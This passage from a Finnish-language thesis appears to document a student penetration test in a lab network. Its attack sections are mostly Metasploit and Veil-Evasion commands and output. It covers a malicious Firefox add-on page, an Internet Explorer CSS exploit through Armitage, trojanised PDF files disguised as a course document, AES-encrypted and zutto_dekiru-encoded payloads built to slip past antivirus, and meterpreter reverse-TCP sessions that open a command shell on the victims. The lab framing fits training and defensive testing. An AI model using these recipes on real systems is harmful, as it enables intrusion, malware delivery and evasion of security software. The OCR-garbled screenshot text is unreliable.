versiosta 3.0 versioon 3.3. Kaynnistettiin jarjestelma ja tyota paasi jalleen jatkamaan

toimivalla koneella.

7.4 Haittasivuston testaus

Kali Linux -koneella Metasploitilla luodaan reverse_tcp-sessio. Kuunnellaan kaikkia
omaan osoitteeseen liittyvia kutsuja. Taman vuoksi havaitaan, kun kohde avaa haitta-
sivuston, jonka jalkeen on mahdollista ottaa hallintaoikeudet kohteesta. Tietohallinto ei
antanut oikeuksia luoda ulkoisia levyja koneille, joten oli asennettava SMTP- tai FTP-

server tai yritettava pscp-sovelluksella jakaa tiedostoja sisaverkossa oleville koneille.

Koska aiemmin kohteissa oli muuttuvat osoitteet, paatimme varastoida kayttdmamme

osoitteet subnet_1-tiedostoon. Metasploitilla suoritettiin SYN-paketteja ldhettava stealth
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scan avoimille porteille verkoissamme komennolla nmap -v -sV 10.114.48.0/24 -oA

subnet_1

Metasploit-konsolissa suoritetut komennot hytkkayksen alustusta varten:
Msfconsole //Avataan Metasploit -konsoli

use exploit/multi/lhandler //Valitaan hyddynnettavd moduuli

set payload windows/shell/reverse_tcp //Asetetaan haittakuorma

set LHOST 10.114.48.205 //Asetetaan oma laite isdnndimaan hyokkaysta
set LPORT 4444 /I Asetetaan kuunneltava portti

Halusimme luoda yhteyden koneelle, joka oli kuuntelutilassa. Téatéa varten kohteessa
selaimeen avattiin haittasivuston linkki, joka pyysi liitann&n asennusta. Metsasploitin
Firefox_xpi _bootsrapped_addon on petollinen liitantd, jota kaytettiin selaimen haavoit-
tuvuutta kokeiltaessa. Kuitenkin Firefox-selaimen tuorein versio esti asennusikkunan
(kuva 9).

Kuva 9. Firefox esti asennusikkunan.

b IS Mt AR R R A — - -
=

& Q 10.114.48.205:8080 i X s
trs)f.\‘i; quired to view this page. [Install

Firefox esti sivustoa avaamasta chjelmien
asennusikkunaa.

Salli -

Vaikka lataukset sivustolta sallittiin, selain jatkuvasti varoitti kayttajaa (kuva 10) ja ta-

man lisaksi palomuuri esti yhteyden.

- N —

& ) © & 10.114.48.205:8080/350r3xRmMO
10.114.48.205 .
Yhteys ei ole suojattu
Yhteytesi verkkosivustoon ei ole yksityinen.
Sivullisten on mahdollista tarkastella
x antamiasi tietoja (esim. salasanoja

viestejd, luottokorttitietoja).
Lisatietoja

Kuva 10. Selain varoittaa kayttajaa.
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Hyokkaajan koneella ei havaittu muutoksia; kuvassa 11 nakyy haittasivustomme linkki

korostettuna.

target => 1
msf exploit( srvhost 10.114.48.205
srvhost => 10.114.48.205
msf exploit( payload windows/meterpreter/re
verse tcp
payload => windows/meterpreter/reverse tcp
msf exploit( ) lhost 10.114.48.205
lhost => 10.114.48.205
msf exploit(
Exploit running as background job.

Started reverse TCP handler on 10.114.48.205:4444

UESE BN Ehttp: //10.114.48.205:8080/aS0r3xRmMO|

Server started.

exploit( ) > [*] 10.114.48.247 firefox xpi b

otstrapped addon - Redirecting request.

10.114.48.247 firefox xpi bootstrapped addon - Sending HTML response.

10.114.48.247 firefox xpi bootstrapped addon - Sending xpi and waiting fo
to click 'accept'...

10.114.48.247 firefox xpi bootstrapped addon - Sending xpi and waiting fo
to click 'accept'...

[*] 10.114.48.247 firefox xpi bootstrapped addon - Sending xXxpi and waiting fo
r user to click 'accept'...

=
s

Kuva 11. Kali Linux kuuntelutilassa.

Koska muuri esti hytkkayksen, otettiin se pois kaytosta hetkellisesti ja kokeiltiin Armi-
tagea kayttden samaa hyokkaystad. Asensimme staattiset osoitteet kohteisiin ja suoritet-
tiin hyokkays. Luotiin meterpreter session, jolla pystyttiin vakoilemaan ty6asemaa. Kun
oli saatu kohteeseen yhteys, pystyttiin testaamaan, mitd kaikkia haavoittuvuuksia voi-

simme hyoddyntaa kohteeseen.

Armitagessa on Hail Maryksi kutsuttu automaattinen hyokkays, joka kay lapi kohteen

kaikkia haavoittuvuuksia ja antaa kattavan valikoiman testattavia hytkkaysmetodeja.

7.5 Windows 7 -tybaseman haavoittuvuustestaus Armitagella

Windows 7 -tydasemaan kohdistuneessa hyokkayksessa oli ideana testata Armitage-
ohjelmaa, jolla voidaan suorittaa hyokkays kayttden graafista kayttoliittymad. Kohteena
oli yksi testiympariston Windows 7 -tydasema. Hyokkays lahti liikkeelle porttien skan-

nauksella. Porttien skannaus on esitetty kuvassa 12.
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; - - T — T T —
(=1 thesisl-kali on

File WView VM

= B : n B @ @

= = =

Armitage Wiew Hosts Attacks Workspaces Help

> B8 auxiliary
> (B exploit
> [f§ payload
> [ post Enter scan range (e.g., 192.168.1.0/24):

Input

10.114.48.180

| Cancel | oK |

Console X | nmap X]

= db_nmap --min-hostgroup 96 -T4 -n -F 10.114.48.180
MNmap: Starting Nma . St org ) at 2017-03-29 15:02 EEST
Nmap : 0 0 £
Nmap : ost is up (0.00042s latency).
Mmap : shown: 91 closed ports
Nmap : SERVICE
Nmap : open mMsrpc
en nethios-ssn

H
]
h

C

[ micro t-ds
[ ms-wht-server
[ unknown

[ unknown

[ unknown

: 49155/ tcp
: 49156/tcp o n

: MAC Address: 56:AE: 1IE: A9 (VMware)

: MNmap done: 1 IP address (1 host up) scanned in 1.36 seconds

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
5

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
T

El

Kuva 12. Win7-porttiskannaus.

Porttien 10ydyttya voitiin alkaa miettia hyokkaystapaa. Valitsimme hyokkayksen, joka
kohdistuu selaimeen ja siihen sopivan exploitin, tdssa tapauksessa

msl1l 003 ie_css_import (memory corruption exploit). Se luo haitallisen ajurin verkko-
sivulle, joka latautuessaan antaa hyokkaajalle paasyn kohteen tydasemaan, kun kohde

kayttaja vierailee verkkosivullamme.

Kayttdjan ndkymasta nayttaisi silta, etta sivusto koettaa ladata, mutta todellisuudessa

reverse tcp-sessio on auki hyokkadjan koneeseen (ks. liite 8).
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(&) thesis1-kali on

File View VM

= w b S @ @& R @R

Applications + [ armitage-ArmitageMain ~ Tue 18:43
3 Armitage e e 6
|:+ Armitage Wiew Hosts Attacks Workspaces Help
—— v E auxiliary A
El= > E dos 1y
v Ewindows
¥ (& limnr ‘ 'l
1 msll_030_dnsapi e
v (& smb : — Met ter 1 >
[ ms11_019_electbowse A 2 Access
"B exploit §.18 Meterpreter 2 > Interact
CTC S i
v (& windows HESIS1-WIN7- Sj;‘—;'ces Explore e e
v (&5 browser = Bivoting Show Processes
B ms11 003 ie_css_import Host ARP Scan... Log Keystrokes
L1 ms11l_050_mshtml_cobj Kill Screenshot
| msll_081_option Webcam Shot
L 1msll_093 ole32 Post Modules
¥ [ fileformat S
msll
Rece =
[ Console XT nmap X T windows/browser/ms11_003_ie_css_import X T Files1 X ]
Nam
| [ | c\Users\student
D 4|Name | Size | Modified | Mode |
< [E AppData 2016-06-21 07:36:59 +0300 4077 7/rWsrwirwi N
a7 ] Application Data 2016-06-21 07:36:59 +0300 407 77 /rwrrwrrwx Iy
ﬁ Contacts 2016-06-21 07:37:17 +0300 40555/r-Hr-Hr-+
Cookies 2018-06-21 07:36:59 +0300 40777 /rwsrwerwg
ﬁ Desktop 2017-03-14 18:41:44 +0200 40555/r-Hr-Hr-+
Documents 2017-02-28 18:05:46 +0200 A0S55/r-wr-xrx
E Downloads 2016-06-21 07:37:17 +0300 A0555/rHr-Hr+
ﬁ Favorites 2018-06-21 07:37:17 +0300 A0S55/rHr-Hrx
ﬁ Links 2016-06-21 07:37:17 +0300 40555/r-HrHrx
ﬁ Local Settings 2016-06-21 07:36:59 +0300 4077 7 /P WKIWKIWK
ﬁ Music 2016-06-21 07:37:17 +0300 40555/r-Hr-xrx
5 A Deenmente 2N16 N6 21 N7.28.50 10200 FTeE T P L4
| Upload... | | Make Directory | | List Drives | | Refresh |

Kuva 13. Armitagen tarjoama hytkkaysvalikoima ja kohteen sisalto.

Kone oli saatu haltuun ja voitiin ottaa naytdnkaappauksia tytasemasta ja kurkistaa
tiedostoihin (kuva 13). Shell-koodia kayttaen oli mahdollista avata tai kdynnistaa ko-
neella eri sovelluksia kuten esimerkiksi laskimen ja muistion tai luoda tiedostoja (ks.
lite 9). Tam&n onnistuneen kokeen perusteella voimme suunnitella sivuttaissiirtymaé
palomuurin suojaamaan Windows-koneeseen. Ensiksi pitda alustaa Windows palveli-
melle halutut palvelut seka luoda kaapatusta koneesta pivotti, joka reitittad hyokkayk-
sen sisaverkosta. Paatimme kokeilla Bruteforce-hyokkayksella, mita salasanoja lait-
teessa on kaytetty ja mihin domainiin se kuluu (ks. liite 10). Seuraavaksi suunniteltiin
hyokkaysté, joka ohittaa palomuurin, ja samalla péatimme testata ilmaista virustorjunta-

jarjestelmaa, Avastia.
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@a avast Piilota

Your Avast Free Antivirus installation
is in progress

Ala sammuta tietokonetta

Kuva 14. Avast-virustorjuntaohjelmiston latauspalkki.

Windows 7-1-koneelle ladattiin ilmainen Avast-virustorjuntaohjelma testausta varten.

Halusimme selvittaa, kuinka tdma ohjelma torjuu hytkkaykset.

€ Avast Free Antivirus

@ Kirjaudu sisdan  [3

Tila

v

Tietokoneesi on suojattu

Avast-asennus on paattymaisilléan
KAYNNISTA ALYKAS TARKISTUS

Suoritusiyky Kaiken kattava yhden napsautu
coneesi turvallisu

Kuva 15. Avast Free Antivirus -ohjelman asennus valmiina.

Voimme testata, mitka hyokkaystekniikat Avast Free Antivirus havaitsee ja mitkd me-
nevét lapi. Avast-virustorjuntaohjelma on kehitetty siten, ettéd havaitessaan haittaohjel-

man se keskeyttaa prosessin ja poistaa haitallisen ohjelman.
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7.6 Haitallinen PDF-tiedosto

Toiselle Kali Linuxille ladattiin wine32-kaantgja, jotta voitaisi kayttdd shelteria shell-
koodin Kkirjoittamista varten. Shell-koodia voidaan Kkirjoittaa suoritettavaan PDF-
tiedostoon [42].

Tarkoitus oli luoda takaovi-haittaohjelma, joka ohittaa palomuurin ja nakyy kayttajan
koneella tavallisena tiedostona. Hyokkays alustetaan lataamalla tai tekemalla tavallinen
PDF-tiedosto, jonka sisélle injektoidaan haittaohjelmia. Kun kayttdja avaa tiedoston
haittaohjelmat suoritetaan taustalla tavallisena prosessina. Nain hyodkkaajalle aukeaa
takaovi kohteeseen. Kun kohde on haavoitettu, voidaan kirjoittaa shell-komentoja koh-
teeseen. Shell-komennoilla voidaan luoda mielivaltaisesti vaikkapa kohteen pitkaaikais-
ta vakoilua varten salakansio, jolle tallennetaan nayténkaappauksia aina, kun kayttaja

kayttaa internetselaintaan.

Aluksi avataan Metasploit-konsoli, jossa voidaan luoda suoritettava PDF-haittaohjelma
komennolla Use exploit/windows/fileformat/adobe_pdf embedded_exe

Seuraavaksi valitaan haittaohjelmaan asennettavat haittakuormat ja alustetaan kaytet-
tavat parametrit hyokkaykselle, kuten mika laite kuuntelee kohdetta ja mit& porttia kay-

tetaan.

:~# msfconsole
Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 54327
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 54327

MMMMM MMMMM
MMMMMMMN NMMMMMMM
MMMMMMMMMNmmmNMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMM MMMMMMM MMMMM
MMMMM MMMMMMM MMMMM
MMMNM MMMMMMM MMMMM
WMMMM MMMMMMM MMMM#
?MMNM MMMMM
* 7MMM MMMM™
?MM MM?

http://metasploit.com

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.14.0-dev ]
- --=[ 1627 exploits - 927 auxiliary - 282 post |
--=[ 472 payloads - 39 encoders - 9 nops 1

Kuva 16. Nakyma Metasploit-moduulista.
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Metasploitissa tehtiin PDF-tiedostosta suoritettava ohjelma. Ohjelma on esitetty kuvas-
sal7.

> use exploit/windows/fileformat/adobe pdf embedded exe
exploit( ) > show payloads

mst
mst

Compatible Payloads

Name Disclosure Date Rank Description
generic/custom normal Custom Payload
generic/debug trap normal Generic x86 Debug Trap
generic/shell_bind_ tcp normal Generic Command Shell, Bind TCP
Inline
generic/shell reverse tcp normal Generic Command Shell, Reverse T
CP Inline
generic/tight loop normal Generic x86 Tight Loop
windows/dllinject/bind_hidden_ipknock tcp normal Reflective DLL Injection, Hidden
Bind Ipknock TCP Stager
windows/dllinject/bind hidden_ tcp normal Reflective DLL Injection, Hidden
Bind TCP Stager
windows/dllinject/bind ipv6 tcp normal Reflective DLL Injection, Bind I
Pv6 TCP Stager (Windows x86)
windows/dllinject/bind ipv6 tcp uuid normal Reflective DLL Injection, Bind I
Pv6 TCP Stager with UUID Support (Windows x86)
windows/dllinject/bind nonx_ tcp normal Reflective DLL Injection, Bind T
Stager (No NX or Win7)
windows/dllinject/bind tcp normal Reflective DLL Injection, Bind T
Stager (Windows x86)
windows/dllinject/bind tcp rcé normal Reflective DLL Injection, Bind T
Stager (RC4 Stage Encryption, Metasm)
windows/dllinject/bind tcp uuid normal Reflective DLL Injection, Bind T
Stager with UUID Support (Windows x86)
windows/dllinject/reverse hop_ http normal Reflective DLL Injection,
e Hop HTTP/HTTPS Stager
windows/dllinject/reverse http normal Reflective DLL Injection,
s Reverse HTTP Stager (wininet)
windows/dllinject/reverse http proxy pstore normal Reflective DLL Injection,
e HTTP Stager Proxv

Kuva 17. Metasploitin ndkyma ja PDF-tiedostoon injektoitavia haittaohjelmia.

Haittakuormaksi valittiin meterpreter reverse tcp (kuva 18).

Applications « Places v [ Terminal + Tue 10:37 ) O -

root@kali: ~
back.exe

File Edit View Search Terminal Help
- ver (Reflective Injection), Reverse TCP Stager (DNS)
$_

windows/vncinject/reverse tcp rc4 normal
ver (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/vncinject/reverse tcp rc4 _dns normal VNC Ser
ver (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
x86_ windows/vncinject/reverse tcp uuid normal VNC Ser
powershell_ ver (Reflective Injection), Reverse TCP Stager with UUID Support
injection.bat windows/vncinject/reverse winhttp normal VNC Ser
ver (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
msf exploit( ) > set LHOST 10.114.48.205
LHOST => 10.114.48.205
msf exploit( ) > set LPORT 4444
CCNASec_ LPORT => 4444
Case_v4.pdf msf exploit( ) > set FILENAME exploitl.pdf
FILENAME exploitl.pdf
msf exploit( ) > set FILENAME CCNASec Case v4.pdf
FILENAME => CCNASec_Case v4.pdf
msf exploit( ) > set INFILENAME '/root/Desktop/CCNASec Case v4.pdf

INFILENAME => /root/Desktop/CCNASec Case v4.pdf
msf exploit( ) > exploit

Sec_Case_v4.pdf ja siihen asennettu haitta-

Kuva 18. Viattoman nékb'mn PDF-tiedosto, CCNA
kuorma seka parametrien alustus.
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Taméan lisédksi enkoodattin  toinen haittaohjelmia sisdltava tiedosto AES-
enkryptauksella (kuva 23). Se pyrittin naamioimaan virustorjunnan tutkalta kayttaen
Veil-Evasion-sovellusta. Veil-Evasion-sovellus skannaa VirusTotal.com-tietokannasta
tunnettuja haavoittuvuuksia. Kehitystiimin tavoitteena on luoda Metasploitille uusia hait-
takuormia, jotka ohittavat tavalliset virustorjunnat. Kun uusi haittakuorma on kehityk-

sessa, tarkistetaan, ettei niita viela ole VirusTotalin tietokannassa.

Alkuun piti ladata Veil-Evasion-moduuli (kuva 19).

# vell-evasion
bash: veil-evasion: command not found

# apt-get install veil-evasionj

Kuva 19. Sovelluksen lataus.

Sovellus tarvitsee paivitetyn Python- ja Ruby-sovelluksen. Latauksen ongelmaksi koitui
jalleen levytilan puute, jonka vuoksi lataus epdonnistui ja kone ei endd kaynnistynyt

normaalisti (kuva 20).

Applications ~ Places Tue 11:05
root@kali: ~

File Edit View Search Terminal Help

Installing easy install.exe script to C:\Python27\Scripts

T 1ling easy install-2.7-script.py script to C:\Python27\Scripts
Lling easy install-2.7.exe script to C:\Python27\Scripts

lled c:\python27\lib\site-packages\distribute-0.6.14-py2.7.eqgg . normal VNC Ser
;sing dependencies for distribute==0.6.14 yption, Metasm)

ned processing dependenc - normal VNC Ser
install bootstrap. Setup - Ruby 1.8.7-p371 ion DNS, Metasm)

ing C:\Python27\Lib\site normal VNC Ser

> LD Installation Destination and Optional Tasks
eating C:\Python27\Lib\site @\
o ) » normal VNC Ser

Initializing (Wine) Ruby
X

T Installing (Wine) Ruby & Prs Not Enough Disk Space o
S HESEE R oxt > Next h> C:\Ruby1 Setup requires at least 20,842 KB of free space to

install, but the selected drive only has 0 KE available.
:SHGetFileInfoW

E, Setup will install Ruby 1.8.7-p371 into the Following Folder. Click Install to
i licke B ¥ Aiffarant

reter/reverse tcp

:SHGetFileInfoW i Do you want to continue anyway?
:SHGetFileInfoW pi —
:SHGetFileInfoW

:SHGetFileInfoW pi g - 4.pdf
:SHGetFileInfoW pi

op/CCNASec_Case v4.pdf
Required free disk space: ~20.4 MB

< Back I Install I Cancel 1

Kuva 20. Levytila loppui kesken asennuksen.
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Jouduimme tarkistamaan, kuinka paljon laitteessa on levytilaa vapaana, koska se lop-

pui kesken yhden hyokkayksen alustuksessa. Levytilan tarkistus esitetty kuvassa 21.

write through

2 blocks

Kuva 21. Laite ei voinut kdynnistya levytilan puutteen vuoksi.

Kaynnistettiin laite vikasietotilassa ja tarkasteltiin levytilaa komennolla df -h
ja nakyi, ettéd levytilaa ei ollut ollenkaan vapaana, joten paatimme tyhjentaa valimuistin.
Valimuisti tyhjennettiin komennolla sudo apt-get clean, minka vuoksi 20 % tilaa vapau-

tui.

Kun tilaa oli riittdvasti, onnistui moduulin lataus. Veil-Evasionia kayttden luotiin haitalli-
nen suoritettava .exe-tiedosto, jolla voidaan nostattaa kohteen kayttdoikeudet omiin
tarkoituksiin. Aloitimme hydkkayksen alustuksen asentamalla muutamia haittaohjelmia
suoritettaviin tiedostoihin uudella sovelluksella. Veil-Evasion-moduulissa haittaohjel-

man asennuskaava on pitkélti sama kuin Metasploitilla (kuva 22).

root@kali: ~ e @®
File Edit View Search Terminal Help

Payload: ruby/meterpreter/rev_tcp loaded

Required Options:
Current Value Description

COMPILE TO EXE Compile to an executable

LHOST IP of the Metasploit handler
LPORT Port of the Metasploit handler

Available Commands:

set Set a specific option value

info Show information about the payload
options Show payload's options

generate Generate payload

back Go to the main menu

exit exit Veil-Evasion

[ruby/meterpreter/rev tcp>>]: |}
Kuva 22. Valittuun tiedostoon asennettiin takaovi-haittaohjelma.
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Aluksi valittiin haittaohjelmaan suoritettava haittakuorma; tassa tapauksessa kaytettiin
jélleen tuttua meterpreter reverse tcp -haittakuormaa. Veil-Evasion-sovelluksessa hait-
takuormalle voi valita ohjelmointikielen, kokeiltiin luoda yksi haittaohjelma Rubylla ja
toinen Pythonilla. Seuraavaksi tuli valita, kuinka tiedoston haitallinen sisaltd suojataan

torjuntajarjestelmilta. Kaytimme AES-enkryptausta haittasisallon naamiointiin (kuva 23).

root@Kkali: ~ e ® O

File Edit View Search Terminal Help

31) python/meterpreter/rev_http contained

32) python/meterpreter/rev_https

33) python/meterpreter/rev_https contained

34) python/meterpreter/rev tcp

36) python/shellcode inject/aes encrypt HTTPKEY Request
37) python/shellcode inject/arc encrypt

38) python/shellcode inject/base64 substitution
39) python/shellcode inject/des encrypt

40) python/shellcode inject/download inject

41) python/shellcode inject/flat

42) python/shellcode inject/letter substitution
43) python/shellcode inject/pidinject

44) python/shellcode inject/stallion

45) ruby/meterpreter/rev_http

46) ruby/meterpreter/rev_http contained
47) ruby/meterpreter/rev_https

48) ruby/meterpreter/rev_https contained
49) ruby/meterpreter/rev _tcp

50) ruby/shellcode inject/base64

51) ruby/shellcode inject/flat

[menu>>1]:

Kuva 23. Nakyma valikosta, josta valittin AES-enkryptattu shell-koodi injektoitavaksi tiedostoon.

Kun sopiva naamiointi oli valittu, haittakuorma voitiin generoida (kuvat 24, 25).

Payload: python/shellcode_inject/aes_encrypt loaded

Required Options:
Name Current Value Description
COMPILE_TO_EXE Compile to an executable

EXPIRE PAYLOAD Optional: Payloads expire after "Y" days ("X" disables feature)
INJECT _METHOD Virtual Virtual, Void, Heap

USE_PYHERION N Use the pyherion encrypter

Available Commands:

set Set a specific option value

info Show information about the payload
options Show payload's options

generate Generate payload

back Go to the main menu

exit exit Veil-Evasion

[python/shellcode inject/aes encrypt>>]:

Kuva 24. Kéaytettiin vakioasetuksia.
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/www.veil-framework.com/ | [Twitter]:

[?] Use msfvenom or supply custom shellcode?

- msfvenom (default)
- custom shellcode string
- file with shellcode (raw)

Please enter the number of your choice: 1

Press [enter] for windows/meterpreter/reverse tcp

Press [tab] to list available payloads

Please enter metasploit payload:

Enter value for 'LHOST', [tab] for local IP: 10.114.48.205

Enter value for 'LPORT': 4444

Enter any extra msfvenom options (syntax: OPTIONl=valuel or -OPTION2=value2):

Generating shellcode...

Kuva 25. Valmistellaan haittaohjelmaa.

Kun haittaohjelma oli luotu, ohjelma ilmoitti, ettei pida skannata ohjelmaa verkkoskan-

nerilla, jotta haittaohjelmaa voisi kayttaa jatkossakin (kuva 26).

root@kali: ~ e ® 8
File Edit View Search Terminal Help

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Executable written to: /usr/share/veil-output/compiled/payload.exe

Language: ruby
Payload: ruby/meterpreter/rev tcp
Required Options: COMPILE TO EXE=Y LHOST=10.114.48.205 LPORT=4444

Payload File: /usr/share/veil-output/source/payload.rb
Handler File: /usr/share/veil-output/handlers/payload handler.rc

[*] Your payload files have been generated, don't get caught!
['] And don't submit samples to any online scanner! ;)

[>] Press any key to return to the main menu.[j

Kuva 26. Nakyma Veil-Evasion moduulista, kun haittaohjelma oli generoitu.

Haittaohjelmat sijoitettiin omaan kansioon, joka jaettaisi muille testikoneille (kuva 27).
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1 Home Desktop | asd » ‘?‘ ’7
7 \¢ =
0‘0 0’0 =
partl.exe part2.exe polkuja

]
[ Documents

® Downloads

+ Other Locations

Kuva 27. Haittaohjelmat partl ja part2, jotka siirretdéan virtuaalikoneille.

Testauksen vuoksi tehtiin manuaalisesti PDF-exploit-ohjelma kayttden zutto_dekiru-

enkoodausmoduulia, joka on kehitetty toimimaan 64-bittisess& Windows-ymparistdssa.

4 HEEN" modules/encoders/x64/zutto_dekiru.

g

super(

"Mame '
"Versien'

- 'Description’

+ ‘Description®
'Author’

= ‘Arch’

+ "Arch’
'License’
'EncoderType’

'Decoder’

L

rb View

'Zutto Dekiru’,

"$Revision: 14774 §',

'Inspired by shikata_ga_nai using fxsavefd to work under x86_64 systems.',
‘Inspired by shikata_ga_nai using fxsavef4 to work under x64 systems.',
‘agin’,

ARCH_X86_64,

ARCH_J64,

MSF_LICENSE,

Msf::Enceder::Type::Raw,

Kuva 28. Zutto_dekiru-moduulin koodi tiivistettyna.

Luotiin PDF-haittaohjelma manuaalisesti Kali Linuxin komentoriviltéd (kuva 29) ja alus-

tettiin kaytettavat parametrit (kuva 30).
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:~# cat hello.txt
hello.txt: No such file or directory
:~# sudo nano hello.txt
:~# cat hello.txt
PDF

:~# groff -Tps hello.txt > hello.pdf
:~# ps2pdf hello.pdf

:~# msfconsole -q -n

* 4k

* WARNING: Database support has been disabled

* ok *
msf > use exploit/windows/fTileformat/adobe toolbutton
mst exploit( ) > set filename exploit3.pdf
filename => exploit3.pdf
msf exploit( ) > set infilename /root/hello.pdf

Kuva 29. Toisen .pdf haittaohjelman luonti.

Sudo nano -komennolla luotiin tekstitiedosto (kuva 29), minka jalkeen alustettiin haitta-

ohjelman kuuntelua varten parametrit (kuva 30).

msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit( ) > set lhost 10.114.48.205

lhost => 10.114.48.205

msf exploit( ) > set lport 4444

lport => 4444

Kuva 30. Kuunteluun asetetut parametrit.

Lopuksi enkoodausta eli haittakoodin naamiointia varten asetettiin zutto_dekiru -

moduuli (kuva 31).

mst exploit( ) > set encoder x64/zutto dekiru

encoder => x64/zutto_dekiru

mst exploit( ) > show options

Module options (exploit/windows/fileformat/adobe toolbutton):
Name Current Setting Required Description

The file name.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

Exit technique (Accepted: , seh, threa
d, process, none)
LHOST 10.114.48.205 The listen address

LPORT 4444 The listen port

Kuva 31. CCNA_pdf-haittaohjelman enkoodaus.
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7.7 Haittaohjelmien siirto kohteisiin ja Avastin testaus

Avast Free Antivirus on tunnettu ilmainen virustorjuntaohjelma kotikayttéon. Se tarjoaa
tarpeelliset tyokalut perushyokkayksien valttdmiseen. Avast on kehitetty Microsoft Win-
dows-, Linux-, macOS- ja Android-kayttojarjestelmille. Ohjelmiston kayttdma skan-
nausmoottori on saanut ICSA Labsin ja West Coast Labsin hyvaksyman sertifikaatin,

joten todenndakoisesti oli, ettéa ohjelma torjuu hydkkayksemme. [45.]

Paatimme siirtdd haittaohjelmat kohteisiin kayttden komentoriviltd pscp-sovellusta ja
Windowsin graafista WinSCP:ta. Ensiksi siirrettiin haittaohjelmia komentorivilta (ks.

lite.11) ja seuraavaksi kokeiltiin WinSCP:t&, kuten kuvassa 32 on esitetty.

AvastrIee
Antivirus

F-3

Avast

BBy Desktop - root@10.114.48.205 - WinSCP
File Commands Mark Session View Help
Address || /root/Desktop % E
<= - v @ 2 [D FindFiles [E@ Download ~ [ Edit ~ 5 3 [ Properties o | £5 [3 2@ 55 B3 Synchronize
{Jé} A Ej[jl Queue v Transfer Settings Default - &~

root@10.114.48.205 | 5§ New Session

4|, /<root> @ avast
] POl e )
u a4 root 6 Open
Google 478 Desktop asd i..back % 3
Chromey i ) asd E‘ Edit i
| Documents E@ Download... Ctrl+C»
| dotfiles_backup [ Duplicate... Objekti
- Dow_nloads b5 MoveTo..  Ctl+Alt+M ChUsersh..\x86_powershell_injection.bat
. 1) Music
| Pictures K Delete Del Tartunta
|, Public =5 Rename F2 BV:Agent-AUT [Trj]
. Ternplate_s File Custom Commands  » Prosessi
|, Veil-Evasion File Names R CiwindowsiSystem32iSearchProtocolHost.exe
...y Videos
I:@ Properties Alt+Enter Uhka tunnistettu ja estetty ennen tiedoston avausta.

Ilisies
\iaielz
Raportoi tiedosto vaaraksi halytykseksi
") P> Kiynnista Alykas tarkistus
ﬁ Tarkistaa koko tietokoneesi ongelmien varalta.
m

) Fon_ | F P o 0 1217
= ol a’ G .“ - WGl

Kuva 32. Tiedostojen siirto WIinSCP:lla ja Avasti havaitsi uhan.

Avast huomasi siirtoyritykset ja esti haittaohjelmat, ennen kuin ne kaynnistettiin. Avas-

tin toimet on esitetty kuvassa 33.
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& root@10.114.48.205 @ New Session

4., /<root> @ avast
4., root l L ‘ i ‘
4|, Desktop Desktop  Documents doffiles_ba.. Downloads Music
iy asd
- |, Documents 5 \
----- | dotfiles_backup = ! ‘ ! _J [ Objekti
""" 2 :)Aow.nloads distribute-0... | exploit3.pdf | hello.pdf hello.pdf.pdf hellobt  keyl CiUsersistudent\Desktopiexploit3.pdf
..... 1 Music
----- . Pictures Tartunta
.} Public JS:Pdfka-CP [Expl]
..... .. Templates Prosessi
""" .. Veil-Evasion ChWindows\System32iSearchProtocolHost.exe
----- |, Videos
Uhka tunnistettu ja estetty ennen tiedoston avausta.
P> Kiynnisti Alykas tarkistus
Tarkistaa koko tietokoneesi ongelmien varalta.
Al =N el 2 o=l B o .. 2

Kuva 33. Avast havaitsi toisen PDF-haittaohjelmista.

Taman jalkeen testattiin haitalliset tiedostojen siirtamistd, kun Avast oli pois paalta.
Tiedostojen siirto onnistui ja paastiin testaamaan haittaohjelmia. Onnistunut tiedostojen
siirto on esitetty kuvassa 34.

thesis2-w 7-1 on
B thesi in n ) thesis2-win7-2 on
File View VM File View VM

m o > @@= &R B R S e wm »
- @ =

Recycle Bin

= | &

Recycle Bin

5 -
Eal

Avast Free — :
Antivirus CCNASec ...

Chrome

Kuva 34. Kumpaankin Windows-koneeseen siirrettiin haittaohjelmat.
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Haittaohjelmia testattiin ja huomattiin, etta ne toimivat. Haittaohjelma avasi meterpre-

ter-yhteyden ja mahdollisti padédsyn tydasemaan (kuva 35).

msf exploit( ) > set PaYLOAD windows/meterpreter/reverse tcp
PaYLOAD => windows/meterpreter/reverse tcp

msf exploit( ) > set Lhost 10.114.48.205

Lhost => 10.114.48.205

msf exploit( ) > set lport 4444

lport => 4444

msf exploit( ) > run exploit

[*] Started reverse TCP handler on 10.114.48.205:4444

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 10.114.48.183

[*] Meterpreter session 1 opened (10.114.48.205:4444 -> 10.114.48.183:56592) at
2017-03-30 12:48:32 +0300

Kuva 35. Kaliin aukesi yhteys, kun kayttaja avasi haittaohjelman.

Avattiin tydasemassa komentorivi, kun oli paasty sisdan koneeseen (kuva 36).

meterpreter > execute -Tf cmd.exe -i -H

Process 1900 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

Kuva 36. Kaynnistettiin Windowsin komentorivi Kalista kasin.

Taman jalkeen alkoi tydaseman selaaminen. Avattiin sovelluksia ja kaivettiin informaa-

tiota tydasemasta (kuva 37).

root@kali: ~ e ®© O
File Edit View Search Terminal Help

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix =

Link-local IPv6 Address . . . . : Te80::6ce5:TO1:3a6d:6e5T11
IPv4 Address. . . - . . tem = 10.114.48.183

Subnet Mask e == = = =% = 255.255.255.0

Default Gateway . . . i ETS = 109114 .48_1

